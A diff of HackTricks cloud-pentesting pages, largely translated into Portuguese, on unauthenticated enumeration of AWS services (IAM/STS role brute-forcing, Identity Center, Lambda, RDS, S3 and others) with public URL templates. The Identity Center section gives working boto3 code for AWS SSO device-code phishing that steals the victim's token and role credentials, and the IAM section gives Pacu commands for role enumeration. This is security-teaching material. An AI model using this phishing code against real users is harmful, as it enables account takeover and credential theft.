@@ -0,0 +1,35 @@
# AWS - Elastic Beanstalk Unauthenticated Enum
{{#include ../../../../banners/hacktricks-training.md}}
## Elastic Beanstalk
For more information check:
{{#ref}}
../../aws-services/aws-elastic-beanstalk-enum.md
{{#endref}}
### Vulnerabilidade Web
Observe que por padrão os ambientes do Elastic Beanstalk têm o **Metadatav1 desabilitado**.
O formato das páginas web do Beanstalk é **`https://<webapp-name>-env.<region>.elasticbeanstalk.com/`**
### Insecure Security Group Rules
Regras de Security Group mal configuradas podem expor instâncias do Elastic Beanstalk ao público. **Regras de ingress excessivamente permissivas, como permitir tráfego de qualquer endereço IP (0.0.0.0/0) em portas sensíveis, podem permitir que atacantes acessem a instância**.
### Publicly Accessible Load Balancer
Se um ambiente do Elastic Beanstalk usa um load balancer e este está configurado como publicamente acessível, atacantes podem **enviar requisições diretamente para o load balancer**. Embora isso possa não ser um problema para aplicações web projetadas para serem publicamente acessíveis, pode ser um problema para aplicações ou ambientes privados.
### Publicly Accessible S3 Buckets
Aplicações do Elastic Beanstalk frequentemente são armazenadas em S3 buckets antes do deploy. Se o S3 bucket que contém a aplicação for publicamente acessível, um atacante poderia **baixar o código da aplicação e procurar por vulnerabilidades ou informações sensíveis**.
### Enumerar ambientes públicos
```bash
aws elasticbeanstalk describe-environments --query 'Environments[?OptionSettings[?OptionName==`aws:elbv2:listener:80:defaultProcess` && contains(OptionValue, `redirect`)]].{EnvironmentName:EnvironmentName, ApplicationName:ApplicationName, Status:Status}' --output table
```
{{#include ../../../../banners/hacktricks-training.md}}

4
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md → src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md
View File

@@ -1,10 +1,10 @@
# AWS - Elasticsearch Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
### Modelo de URL pública
```
https://vpc-{user_provided}-[random].[region].es.amazonaws.com
https://search-{user_provided}-[random].[region].es.amazonaws.com
```
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}

46
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md → src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md
View File

@@ -1,13 +1,13 @@
# AWS - IAM & STS Enum Não Autenticado
# AWS - IAM & STS Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
## Enumerar Funções e Nomes de Usuários em uma conta
## Enumerar Roles & Usernames em uma conta
### ~~Força Bruta para Assumir Função~~
### ~~Assume Role Brute-Force~~
> [!CAUTION]
> **Esta técnica não funciona** mais, pois se a função existe ou não, você sempre recebe este erro:
> **Esta técnica não funciona mais** pois, quer a role exista ou não, você sempre recebe este erro:
>
> `An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::947247140022:user/testenv is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::429217632764:role/account-balanceasdas`
>
@@ -15,24 +15,24 @@
>
> `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example`
Tentar **assumir uma função sem as permissões necessárias** aciona uma mensagem de erro da AWS. Por exemplo, se não autorizado, a AWS pode retornar:
Tentar **assumir uma role sem as permissões necessárias** dispara uma mensagem de erro da AWS. Por exemplo, se não autorizado, a AWS pode retornar:
```ruby
An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS
```
Esta mensagem confirma a existência do papel, mas indica que sua política de assunção de papel não permite sua assunção. Em contraste, tentar **assumir um papel inexistente leva a um erro diferente**:
Esta mensagem confirma a existência da função, mas indica que a sua política de assumir a função não permite que você a assuma. Em contraste, tentar **assumir uma função inexistente leva a um erro diferente**:
```less
An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole
```
Interessantemente, este método de **distinguir entre funções existentes e não existentes** é aplicável mesmo entre diferentes contas AWS. Com um ID de conta AWS válido e uma lista de palavras-alvo, é possível enumerar as funções presentes na conta sem enfrentar limitações inerentes.
Interessantemente, este método de **distinguir entre roles existentes e não existentes** é aplicável mesmo entre diferentes contas AWS. Com um ID de conta AWS válido e uma wordlist direcionada, é possível enumerar os roles presentes na conta sem enfrentar limitações inerentes.
Você pode usar este [script para enumerar potenciais principais](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusando desse problema.
You can use this [script to enumerate potential principals](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusing this issue.
### Políticas de Confiança: Força Bruta de funções e usuários entre contas
### Trust Policies: Brute-Force Cross Account roles and users
Configurar ou atualizar a **política de confiança de uma função IAM envolve definir quais recursos ou serviços AWS estão autorizados a assumir essa função** e obter credenciais temporárias. Se o recurso especificado na política **existe**, a política de confiança é salva **com sucesso**. No entanto, se o recurso **não existe**, um **erro é gerado**, indicando que um principal inválido foi fornecido.
Configurar ou atualizar a **trust policy de uma role do IAM envolve definir quais recursos ou serviços AWS têm permissão para assumir essa role** e obter credenciais temporárias. Se o recurso especificado na política **existe**, a trust policy é salva **com sucesso**. Contudo, se o recurso **não existe**, um **erro é gerado**, indicando que um principal inválido foi fornecido.
> [!WARNING]
> Note que nesse recurso você poderia especificar uma função ou usuário entre contas:
> Observe que, nesse recurso, você pode especificar uma role ou user de outra conta:
>
> - `arn:aws:iam::acc_id:role/role_name`
> - `arn:aws:iam::acc_id:user/user_name`
@@ -54,7 +54,7 @@ Este é um exemplo de política:
```
#### GUI
Esse é o **erro** que você encontrará se usar uma **função que não existe**. Se a função **existir**, a política será **salva** sem erros. (O erro é para atualização, mas também funciona ao criar)
Esse é o **erro** que você encontrará se usar uma **role que não existe**. Se a role **existir**, a policy será **salva** sem quaisquer erros. (O erro ocorre ao atualizar, mas também acontece ao criar)
![](<../../../images/image (153).png>)
@@ -95,15 +95,15 @@ Você pode automatizar esse processo com [https://github.com/carlospolop/aws_too
- `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt`
Usando [Pacu](https://github.com/RhinoSecurityLabs/pacu):
Ou usando [Pacu](https://github.com/RhinoSecurityLabs/pacu):
- `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
- `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt`
- O papel `admin` usado no exemplo é um **papel na sua conta que pode ser impersonado** pelo pacu para criar as políticas que ele precisa para a enumeração
- O `admin` role usado no exemplo é um **role na sua conta a ser assumido** pelo pacu para criar as políticas necessárias para a enumeração
### Privesc
No caso de o papel estar mal configurado e permitir que qualquer um o assuma:
No caso o role esteja mal configurado e permita que qualquer um o assuma:
```json
{
"Version": "2012-10-17",
@@ -122,8 +122,8 @@ O atacante poderia simplesmente assumir isso.
## Federação OIDC de Terceiros
Imagine que você consiga ler um **fluxo de trabalho do Github Actions** que está acessando um **papel** dentro da **AWS**.\
Essa confiança pode dar acesso a um papel com a seguinte **política de confiança**:
Imagine que você consiga ler um **Github Actions workflow** que está acessando um **role** dentro do **AWS**.\
Essa confiança pode dar acesso a um **role** com a seguinte **política de confiança**:
```json
{
"Version": "2012-10-17",
@@ -143,20 +143,20 @@ Essa confiança pode dar acesso a um papel com a seguinte **política de confian
]
}
```
Esta política de confiança pode estar correta, mas a **falta de mais condições** deve fazer você desconfiar dela.\
Isso ocorre porque o papel anterior pode ser assumido por **QUALQUER UM do Github Actions**! Você deve especificar nas condições também outras coisas, como nome da org, nome do repositório, env, brach...
Esta política de confiança pode estar correta, mas a **falta de mais condições** deve fazê-lo desconfiar dela.\
Isso porque a role anterior pode ser assumida por **QUALQUER PESSOA do Github Actions**! Você deve especificar nas condições também outras coisas, como org name, repo name, env, brach...
Outra possível má configuração é **adicionar uma condição** como a seguinte:
Outra misconfiguração potencial é **adicionar uma condição** como a seguinte:
```json
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org_name*:*"
}
```
Note que **wildcard** (\*) antes do **dois-pontos** (:). Você pode criar uma org como **org_name1** e **assumir o papel** a partir de uma Ação do Github.
Observe que o **wildcard** (\*) vem antes do **colon** (:). Você pode criar uma org como **org_name1** e **assume the role** a partir de uma Github Action.
## Referências
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
- [https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/](https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration/)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}

123
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md
View File

@@ -1,123 +0,0 @@
# AWS - Identity Center & SSO Enum Não Autenticado
{{#include ../../../banners/hacktricks-training.md}}
## Phishing de Código de Dispositivo AWS
Inicialmente proposto em [**este post do blog**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), é possível enviar um **link** para um usuário usando AWS SSO que, se o **usuário aceitar**, o atacante poderá obter um **token para se passar pelo usuário** e acessar todos os papéis que o usuário pode acessar no **Identity Center**.
Para realizar esse ataque, os requisitos são:
- A vítima precisa usar o **Identity Center**
- O atacante deve conhecer o **subdomínio** usado pela vítima `<victimsub>.awsapps.com/start`
Apenas com as informações anteriores, o **atacante poderá enviar um link para o usuário** que, se **aceito**, concederá ao **atacante acesso à conta** do usuário AWS.
### Ataque
1. **Encontrando o subdomínio**
O primeiro passo do atacante é descobrir o subdomínio que a empresa da vítima está usando em seu Identity Center. Isso pode ser feito via **OSINT** ou **adivinhação + BF**, já que a maioria das empresas usará seu nome ou uma variação de seu nome aqui.
Com essa informação, é possível obter a região onde o Identity Center foi configurado:
```bash
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
```
2. **Gere o link para a vítima & Envie-o**
Execute o seguinte código para gerar um link de login do AWS SSO para que a vítima possa se autenticar.\
Para a demonstração, execute este código em um console Python e não saia dele, pois mais tarde você precisará de alguns objetos para obter o token:
```python
import boto3
REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)
client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)
url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
```
Envie o link gerado para a vítima usando suas incríveis habilidades de engenharia social!
3. **Espere até que a vítima aceite**
Se a vítima já estava **conectada no AWS**, ela só precisará aceitar a concessão das permissões; se não estava, precisará **fazer login e então aceitar a concessão das permissões**.\
Assim é como o prompt aparece atualmente:
<figure><img src="../../../images/image (343).png" alt="" width="311"><figcaption></figcaption></figure>
4. **Obtenha o token de acesso SSO**
Se a vítima aceitou o prompt, execute este código para **gerar um token SSO se passando pelo usuário**:
```python
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')
```
O token de acesso SSO é **válido por 8h**.
5. **Imitar o usuário**
```python
sso_client = boto3.client('sso', region_name=REGION)
# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])
# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])
# Get credentials over a role
sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')
```
### Phishing do MFA inphishável
É interessante saber que o ataque anterior **funciona mesmo se um "MFA inphishável" (webAuth) estiver sendo usado**. Isso ocorre porque o **fluxo de trabalho anterior nunca sai do domínio OAuth utilizado**. Diferente de outros ataques de phishing onde o usuário precisa substituir o domínio de login, no caso, o fluxo de código do dispositivo é preparado para que um **código seja conhecido por um dispositivo** e o usuário possa fazer login mesmo em uma máquina diferente. Se o prompt for aceito, o dispositivo, apenas por **conhecer o código inicial**, será capaz de **recuperar credenciais** para o usuário.
Para mais informações sobre isso [**ver este post**](https://mjg59.dreamwidth.org/62175.html).
### Ferramentas Automáticas
- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication)
- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish)
## Referências
- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)
- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing)
- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html)
- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth)
{{#include ../../../banners/hacktricks-training.md}}

123
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md Normal file
View File

@@ -0,0 +1,123 @@
# AWS - Identity Center & SSO Unauthenticated Enum
{{#include ../../../../banners/hacktricks-training.md}}
## AWS Device Code Phishing
Initially proposed in [**this blog post**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), it's possible to send a **link** to a user using AWS SSO that if the **user accepts** the attacker will be able to get a **token to impersonate the user** and access all the roles the user is able to access in the **Identity Center**.
In order to perform this attack the requisites are:
- The victim needs to use **Identity Center**
- The attacker must know the **subdomain** used by the victim `<victimsub>.awsapps.com/start`
Just with the previous info, the **attacker will be able to send a link to the user** that if **accepted** will grant the **attacker access over the AWS user** account.
### Attack
1. **Finding the subdomain**
The first step of the attacker is to find out the subdomain the victim company is using in their Identity Center. This can be done via **OSINT** or **guessing + BF** as most companies will be using their name or a variation of their name here.
With this info, it's possible to get the region where the Indentity Center was configured with:
```bash
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
```
2. **Gerar o link para a vítima & Enviar**
Execute o código abaixo para gerar um link de login do AWS SSO para que a vítima possa se autenticar.\\
Para a demo, execute este código em um console python e não saia dele, pois mais tarde você precisará de alguns objetos para obter o token:
```python
import boto3
REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)
client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)
url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
```
Envie o link gerado para a vítima usando suas incríveis habilidades de engenharia social!
3. **Espere até a vítima aceitar**
Se a vítima já estivesse **logada na AWS**, ela só precisará aceitar a concessão das permissões; se não estivesse, ela precisará **fazer login e então aceitar a concessão das permissões**.\
É assim que o prompt aparece hoje em dia:
<figure><img src="../../../images/image (343).png" alt="" width="311"><figcaption></figcaption></figure>
4. **Obter SSO access token**
Se a vítima aceitou o prompt, execute este código para **gerar um SSO token assumindo a identidade do usuário**:
```python
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')
```
O SSO access token é **válido por 8h**.
5. **Passar-se pelo usuário**
```python
sso_client = boto3.client('sso', region_name=REGION)
# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])
# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])
# Get credentials over a role
sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')
```
### Phishing do unphisable MFA
É interessante saber que o ataque anterior **funciona mesmo se um "unphisable MFA" (webAuth) estiver sendo usado**. Isso ocorre porque o **fluxo de trabalho anterior nunca sai do domínio OAuth usado**. Ao contrário de outros ataques de phishing em que o usuário precisa suplantar o domínio de login, neste caso o fluxo de código de dispositivo (device code workflow) é preparado de modo que um **código seja conhecido por um dispositivo** e o usuário possa fazer login mesmo em outra máquina. Se o prompt for aceito, o dispositivo, apenas por **conhecer o código inicial**, será capaz de **recuperar as credenciais** do usuário.
Para mais informações sobre isso [**veja este post**](https://mjg59.dreamwidth.org/62175.html).
### Ferramentas Automáticas
- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication)
- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish)
## Referências
- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)
- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing)
- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html)
- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth)
{{#include ../../../../banners/hacktricks-training.md}}

11
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md
View File

@@ -1,11 +0,0 @@
# AWS - IoT Enum Não Autenticado
{{#include ../../../banners/hacktricks-training.md}}
### Modelo de URL Pública
```
mqtt://{random_id}.iot.{region}.amazonaws.com:8883
https://{random_id}.iot.{region}.amazonaws.com:8443
https://{random_id}.iot.{region}.amazonaws.com:443
```
{{#include ../../../banners/hacktricks-training.md}}

11
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md Normal file
View File

@@ -0,0 +1,11 @@
# AWS - IoT Enumeração Não Autenticada
{{#include ../../../../banners/hacktricks-training.md}}
### Modelo de URL pública
```
mqtt://{random_id}.iot.{region}.amazonaws.com:8883
https://{random_id}.iot.{region}.amazonaws.com:8443
https://{random_id}.iot.{region}.amazonaws.com:443
```
{{#include ../../../../banners/hacktricks-training.md}}

4
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md → src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md
View File

@@ -1,9 +1,9 @@
# AWS - Kinesis Video Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
### Modelo de URL pública
```
https://{random_id}.kinesisvideo.{region}.amazonaws.com
```
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}

20
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
View File

@@ -1,20 +0,0 @@
# AWS - Acesso Não Autenticado ao Lambda
{{#include ../../../banners/hacktricks-training.md}}
## URL de Função Pública
É possível relacionar um **Lambda** com uma **URL de função pública** que qualquer um pode acessar. Ela pode conter vulnerabilidades na web.
### Modelo de URL Pública
```
https://{random_id}.lambda-url.{region}.on.aws/
```
### Obter ID da Conta a partir da URL pública do Lambda
Assim como com buckets S3, Data Exchange e gateways de API, é possível encontrar o ID da conta de uma conta abusando da **`aws:ResourceAccount`** **Policy Condition Key** a partir de uma URL pública do lambda. Isso é feito encontrando o ID da conta um caractere de cada vez, abusando de curingas na seção **`aws:ResourceAccount`** da política.\
Essa técnica também permite obter **valores de tags** se você souber a chave da tag (existem algumas interessantes por padrão).
Você pode encontrar mais informações na [**pesquisa original**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) e na ferramenta [**conditional-love**](https://github.com/plerionhq/conditional-love/) para automatizar essa exploração.
{{#include ../../../banners/hacktricks-training.md}}

20
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md Normal file
View File

@@ -0,0 +1,20 @@
# AWS - Lambda Acesso Não Autenticado
{{#include ../../../../banners/hacktricks-training.md}}
## URL de Função Pública
É possível associar uma **Lambda** a uma **URL de Função Pública** que qualquer pessoa pode acessar. Ela pode conter vulnerabilidades web.
### Public URL template
```
https://{random_id}.lambda-url.{region}.on.aws/
```
### Obter o ID da conta a partir de uma URL pública do Lambda
Assim como com S3 buckets, Data Exchange e API gateways, é possível encontrar o ID da conta abusando da **`aws:ResourceAccount`** **Policy Condition Key** a partir de uma URL pública do Lambda. Isso é feito encontrando o ID da conta um caractere por vez, abusando de wildcards na seção **`aws:ResourceAccount`** da policy.\
Essa técnica também permite obter **valores das tags** se você conhece a chave da tag (existem algumas tags padrão interessantes).
Você pode encontrar mais informações na [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) e na ferramenta [**conditional-love**](https://github.com/plerionhq/conditional-love/) para automatizar essa exploração.
{{#include ../../../../banners/hacktricks-training.md}}

8
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md → src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md
View File

@@ -1,11 +1,11 @@
# AWS - Enumeração de Mídia Não Autenticada
# AWS - Media Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
### Modelo de URL Pública
### Modelo de URL pública
```
https://{random_id}.mediaconvert.{region}.amazonaws.com
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel
https://{random_id}.data.mediastore.{region}.amazonaws.com
```
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}

20
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
View File

@@ -1,20 +0,0 @@
# AWS - MQ Enum Não Autenticado
{{#include ../../../banners/hacktricks-training.md}}
## Porta Pública
### **RabbitMQ**
No caso do **RabbitMQ**, por **padrão, o acesso público** e ssl estão habilitados. Mas você precisa de **credenciais** para acessar (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Além disso, é possível **acessar o console de gerenciamento web** se você souber as credenciais em `https://b-<uuid>.mq.us-east-1.amazonaws.com/`
### ActiveMQ
No caso do **ActiveMQ**, por padrão, o acesso público e ssl estão habilitados, mas você precisa de credenciais para acessar.
### Modelo de URL Pública
```
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617
```
{{#include ../../../banners/hacktricks-training.md}}

20
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md Normal file
View File

@@ -0,0 +1,20 @@
# AWS - MQ Unauthenticated Enum
{{#include ../../../../banners/hacktricks-training.md}}
## Porta Pública
### **RabbitMQ**
Em caso de **RabbitMQ**, por **padrão o acesso público** e ssl estão habilitados. Mas você precisa de **credentials** para acessar (`amqps://.mq.us-east-1.amazonaws.com:5671`). Além disso, é possível **acessar o console de gerenciamento web** se você souber as credentials em `https://b-<uuid>.mq.us-east-1.amazonaws.com/`
### ActiveMQ
No caso do **ActiveMQ**, por padrão o acesso público e ssl estão habilitados, mas você precisa de credentials para acessar.
### Modelo de URL pública
```
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617
```
{{#include ../../../../banners/hacktricks-training.md}}

16
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
View File

@@ -1,16 +0,0 @@
# AWS - MSK Enum Não Autenticado
{{#include ../../../banners/hacktricks-training.md}}
### Porta Pública
É possível **expor o broker Kafka ao público**, mas você precisará de **credenciais**, permissões IAM ou um certificado válido (dependendo do método de autenticação configurado).
Também é **possível desabilitar a autenticação**, mas nesse caso **não é possível expor diretamente** a porta para a Internet.
### Modelo de URL Pública
```
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com
```
{{#include ../../../banners/hacktricks-training.md}}

16
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md Normal file
View File

@@ -0,0 +1,16 @@
# AWS - MSK Enumeração Não Autenticada
{{#include ../../../../banners/hacktricks-training.md}}
### Porta Pública
É possível **expor o broker Kafka para o público**, mas você precisará de **credenciais**, permissões IAM ou um certificado válido (dependendo do método de autenticação configurado).
Também é **possível desabilitar a autenticação**, mas nesse caso **não é possível expor diretamente** a porta para a Internet.
### Modelo de URL Pública
```
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com
```
{{#include ../../../../banners/hacktricks-training.md}}

16
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md → src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md
View File

@@ -1,22 +1,22 @@
# AWS - RDS Enum Não Autenticado
# AWS - RDS Enumeração Não Autenticada
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
## RDS
Para mais informações, consulte:
Para mais informações consulte:
{{#ref}}
../aws-services/aws-relational-database-rds-enum.md
../../aws-services/aws-relational-database-rds-enum.md
{{#endref}}
## Porta Pública
É possível dar acesso público ao **banco de dados pela internet**. O atacante ainda precisará **saber o nome de usuário e a senha,** acesso IAM ou um **exploit** para entrar no banco de dados.
É possível dar acesso público ao **banco de dados pela internet**. O atacante ainda precisará **conhecer o username and password,** acesso IAM, ou um **exploit** para entrar no banco de dados.
## Snapshots Públicos do RDS
## Snapshots RDS Públicos
A AWS permite dar **acesso a qualquer pessoa para baixar snapshots do RDS**. Você pode listar esses snapshots públicos do RDS muito facilmente a partir da sua própria conta:
AWS permite dar **acesso a qualquer pessoa para baixar RDS snapshots**. Você pode listar esses snapshots RDS públicos muito facilmente a partir da sua própria conta:
```bash
# Public RDS snapshots
aws rds describe-db-snapshots --include-public
@@ -37,4 +37,4 @@ aws rds describe-db-snapshots --snapshot-type public [--region us-west-2]
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432
```
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}

9
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md
View File

@@ -1,9 +0,0 @@
# AWS - Redshift Enum Não Autenticado
{{#include ../../../banners/hacktricks-training.md}}
### Modelo de URL Pública
```
{user_provided}.<random>.<region>.redshift.amazonaws.com
```
{{#include ../../../banners/hacktricks-training.md}}

9
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md Normal file
View File

@@ -0,0 +1,9 @@
# AWS - Redshift Unauthenticated Enum
{{#include ../../../../banners/hacktricks-training.md}}
### Modelo de URL público
```
{user_provided}.<random>.<region>.redshift.amazonaws.com
```
{{#include ../../../../banners/hacktricks-training.md}}

102
src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md → src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md
View File

@@ -1,44 +1,44 @@
# AWS - S3 Enum Não Autenticado
# AWS - S3 Unauthenticated Enum
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../../banners/hacktricks-training.md}}
## Buckets Públicos S3
## S3 Public Buckets
Um bucket é considerado **“público”** se **qualquer usuário pode listar o conteúdo** do bucket, e **“privado”** se o conteúdo do bucket pode **ser listado ou escrito apenas por certos usuários**.
Um bucket é considerado **“público”** se **qualquer usuário puder listar o conteúdo** do bucket, e **“privado”** se o conteúdo do bucket **só puder ser listado ou escrito por determinados usuários**.
As empresas podem ter **permissões de buckets mal configuradas**, dando acesso tanto a tudo quanto a todos autenticados na AWS em qualquer conta (ou seja, a qualquer um). Note que, mesmo com tais configurações incorretas, algumas ações podem não ser realizadas, pois os buckets podem ter suas próprias listas de controle de acesso (ACLs).
Empresas podem ter permissões de buckets mal configuradas, dando acesso tanto a tudo quanto a qualquer pessoa autenticada na AWS em qualquer conta (portanto a qualquer um). Observe que, mesmo com tais más configurações, algumas ações podem não ser possíveis, pois os buckets podem ter suas próprias access control lists (ACLs).
**Saiba mais sobre a má configuração do AWS-S3 aqui:** [**http://flaws.cloud**](http://flaws.cloud/) **e** [**http://flaws2.cloud/**](http://flaws2.cloud)
**Aprenda sobre misconfiguração do AWS-S3 aqui:** [**http://flaws.cloud**](http://flaws.cloud/) **e** [**http://flaws2.cloud/**](http://flaws2.cloud)
### Encontrando Buckets AWS
### Finding AWS Buckets
